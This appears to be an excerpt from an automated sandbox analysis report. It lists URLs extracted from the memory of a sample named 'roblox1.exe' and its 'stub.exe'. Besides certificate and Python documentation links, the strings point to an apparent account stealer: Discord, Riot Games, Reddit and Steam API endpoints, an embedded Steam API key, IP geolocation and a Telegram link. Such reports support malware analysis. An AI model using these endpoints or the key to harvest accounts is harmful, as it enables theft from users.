Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: stub.exe, 00000003.00000003.1938775730.00000213BED9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
Source: stub.exe, 00000003.00000002.1945050010.00000213BE410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: stub.exe, 00000003.00000003.1938775730.00000213BED9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl2
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1551783756.00000213BE51D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1551783756.00000213BE51D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://curl.haxx.se/rfc/cookie_spec.html
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://docs.aiohttp.org/en/stable/logging.html#format-specification
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://docs.aiohttp.org/en/stable/logging.html#format-specificationauvloopaset_event_loop_policyaEve
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1946175818.00000213BE880000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.kill
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1945691017.00000213BE610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1945691017.00000213BE610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/3/library/subprocess#subprocess.Popen.terminate
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1917018094.00000213BE1BF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1943984108.00000213BE1BF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937231343.00000213BE1BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://httpbin.org/post
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://ip-api.com/jsonacityatimezoneaispaorgaasuMain.GetNetworkInfoT
Source: stub.exe, 00000003.00000002.1945050010.00000213BE410000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1940139383.00000213BE111000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1944291079.00000213BE1F4000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1940263810.00000213BE1F3000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1551665105.00000213BE184000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1938249531.00000213BE1CA000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1941279881.00000213BE162000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1917018094.00000213BE1CA000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937231343.00000213BE1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://json.org
Source: stub.exe, 00000003.00000003.1934773835.00000213BEF56000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1936075447.00000213BEFA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es
Source: stub.exe, 00000003.00000003.1936295098.00000213BEFCD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1934931290.00000213BEFB8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1935684148.00000213BEFC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es0
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1551783756.00000213BE51D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1551783756.00000213BE51D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1946175818.00000213BE880000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://python.org
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1938094967.00000213BE55C000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1945319876.00000213BE561000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1551783756.00000213BE59C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://python.org/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1946175818.00000213BE880000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://python.org:80
Source: stub.exe, 00000003.00000003.1937231343.00000213BE18E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1939465237.00000213BEE32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://speleotrove.com/decimal/decarith.html
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: stub.exe, 00000003.00000003.1934773835.00000213BEF56000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1936295098.00000213BEFCD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1936075447.00000213BEFA1000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1934931290.00000213BEFB8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1935684148.00000213BEFC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: stub.exe, 00000003.00000003.1934346059.00000213BEE1F000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1947473880.00000213BEE1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl
Source: stub.exe, 00000003.00000003.1936295098.00000213BEFCD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1934931290.00000213BEFB8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1935684148.00000213BEFC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: stub.exe, 00000003.00000003.1939279507.00000213BEFBF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1934931290.00000213BEFB8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1936295098.00000213BEFBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm
Source: stub.exe, 00000003.00000003.1936295098.00000213BEFCD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1934931290.00000213BEFB8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1935684148.00000213BEFC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: stub.exe, 00000003.00000003.1936295098.00000213BEFCD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1939279507.00000213BEFBF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1934931290.00000213BEFB8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1936295098.00000213BEFBF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1935684148.00000213BEFC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es00
Source: stub.exe, 00000003.00000003.1936295098.00000213BEFDF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1939349578.00000213BEFEB000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1938008443.00000213BEFEB000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1945050010.00000213BE410000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1934931290.00000213BEFB8000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1936968912.00000213BEFE4000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1935684148.00000213BEFC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/
Source: stub.exe, 00000003.00000002.1945050010.00000213BE410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/:1U
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1944604841.00000213BE310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: stub.exe, 00000003.00000002.1948524629.00000213BEF1E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1934896216.00000213BEF0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1940431612.00000213BE4FA000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1945192279.00000213BE4FC000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1552093383.00000213BE4C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1944387821.00000213BE210000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1944387821.00000213BE210000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps
Source: stub.exe, 00000003.00000003.1938775730.00000213BED9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cpsended_1it
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://wwwsearch.sf.net/):
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://account.riotgames.com/api/account/v1/user
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://account.riotgames.com/api/account/v1/userT
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://accounts.reddit.com/api/access_token
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://accounts.reddit.com/api/access_tokenaaccess_tokenuandroid:com.example.myredditapp:v1.2.3uBea
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s
Source: stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=440D7F4D810EF9298D25EDDF37C1F9
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940824169.00000213BED1E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937485075.00000213BECD9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1944604841.00000213BE310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue37179
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/avatars/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://cdn.discordapp.com/avatars/u.pngu.gifuunsupported
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, stub.exe, 00000003.00000002.1962486464.00007FFBAAF8B000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://cffi.readthedocs.io/en/latest/using.html#callbacks
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/en/latest/faq/#why-can-t-i-import-my-pem-file
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v8/guilds/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://discord.com/api/v8/guilds/u/invitesainvitesuhttps://discord.gg/acodeuhttps://t.me/TaroCloudF
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v8/users/
Source: stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.1943280066.00000213BDF10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.gg/
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940824169.00000213BED1E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937485075.00000213BECD9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1944604841.00000213BE310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.aiohttp.org/en/stable/client_advanced.html#proxy-support
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://docs.aiohttp.org/en/stable/web_advanced.html#application-s-config
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://docs.aiohttp.org/en/stable/web_advanced.html#application-s-configT
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1942471235.00000213BC233000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1549220598.00000213BC232000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.1940038394.00000213BC232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-profile/customizi
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1940431612.00000213BE4FA000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://docs.python.org/3/howto/mro.html
